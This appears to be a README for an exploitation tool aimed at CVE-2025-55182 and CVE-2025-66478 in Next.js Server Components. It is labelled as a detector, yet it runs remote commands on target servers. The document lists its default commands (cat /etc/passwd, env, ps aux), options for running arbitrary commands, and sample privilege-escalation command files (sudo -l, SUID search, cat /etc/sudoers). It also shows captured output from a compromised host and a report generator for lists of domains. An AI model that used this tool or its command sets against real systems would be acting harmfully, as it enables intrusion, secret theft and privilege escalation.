
A command-line tool for detecting CVE-2025-55182 and CVE-2025-66478 in Next.js applications using React Server Components.
A command-line tool for detecting CVE-2025-55182 and CVE-2025-66478 in Next.js applications using React Server Components.
wget -q -O /usr/bin/CVE-2025-55182 https://raw.githubusercontent.com/rix4uni/CVE-2025-55182/refs/heads/main/CVE-2025-55182 && chmod +x /usr/bin/CVE-2025-55182
wget -q -O /usr/bin/reportgenerator https://raw.githubusercontent.com/rix4uni/CVE-2025-55182/refs/heads/main/reportgenerator && chmod +x /usr/bin/reportgenerator
CVE-2025-55182 -d https://example.com
Note: If no command options are provided, default commands are executed.
The tool executes these commands by default:
cat /etc/os-release - OS informationwhoami - Current userpwd - Current working directoryid - User ID and groupsuname -a - System informationhostname -I - Network interfacesls -la - Directory listingcat /etc/passwd - User accountsenv - Environment variablesps aux - Running processesThe reportgenerator tool automatically generates professional vulnerability disclosure reports from scan results.
# Create a file with target domains
echo -e "https://target1.com\nhttps://target2.com" > subs.txt
# Run report generator
reportgenerator
| Flag | Description | Default |
|---|---|---|
--file | Input file containing target domains | subs.txt |
--user | Researcher name for disclosure section | Bhagirath Saxena |
# Use default settings (subs.txt, Bhagirath Saxena)
reportgenerator
# Use custom target file
reportgenerator --file targets.txt
# Use custom researcher name
reportgenerator --user "John Doe"
# Use both custom options
reportgenerator --file my-targets.txt --user "Jane Smith"
Reports are generated in two directories:
textfile/ - Raw scan output (numbered: 1.txt, 2.txt, etc.)mdfile/ - Professional markdown reports (numbered: 1.md, 2.md, etc.)Note: The auto-numbering feature ensures existing reports are never overwritten. New scans continue from the highest existing number.
Each generated report includes:
▼ 🎯 TARGET: https://vulnerable-app.com
▼ 📋 COMMANDS TO RUN: 10
• cat /etc/os-release
• whoami
• pwd
• id
• uname -a
• hostname -I
• ls -la
• cat /etc/passwd
• env
• ps aux
[1/10] Executing: cat /etc/os-release
▼ 💻 OS INFORMATION
║ NAME="Ubuntu"
║ VERSION="22.04.3 LTS (Jammy Jellyfish)"
║ ID=ubuntu
║ ID_LIKE=debian
║ PRETTY_NAME="Ubuntu 22.04.3 LTS"
║ ...
[2/10] Executing: whoami
▼ 👤 CURRENT USER
║ www-data
...
[3/10] Executing: pwd
▼ 📂 CURRENT DIRECTORY
║ /var/www/html
...
[6/10] Executing: hostname -I
╔════════════════════════════════════════════════════════════╗
║ Command failed: hostname -I
║ This command might not be available or the server rejected it
╚════════════════════════════════════════════════════════════╝
[!] Trying alternative network command...
▼ 🌐 NETWORK INTERFACES (alternative)
║ 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
║ link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
║ inet 127.0.0.1/8 scope host lo
║ valid_lft forever preferred_lft forever
...
commands/ directory examples:Create sample command files for different scenarios:
# commands/basic-recon.txt
whoami
id
uname -a
cat /etc/os-release
hostname
# commands/network-recon.txt
ifconfig
netstat -tulpn
iptables -L
cat /etc/hosts
cat /etc/resolv.conf
# commands/privilege-escalation.txt
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/sudoers
ls -la /root/
| Option | Description | Default |
|---|
-d, --domain | Target URL (auto-adds https:// if no protocol) | http://localhost:3000 |
-c, --command | Single command to execute | - |
-m, --multiple | Multiple commands separated by semicolons | - |
-f, --file | File containing commands (one per line) | - |
-h, --help | Show help message | - |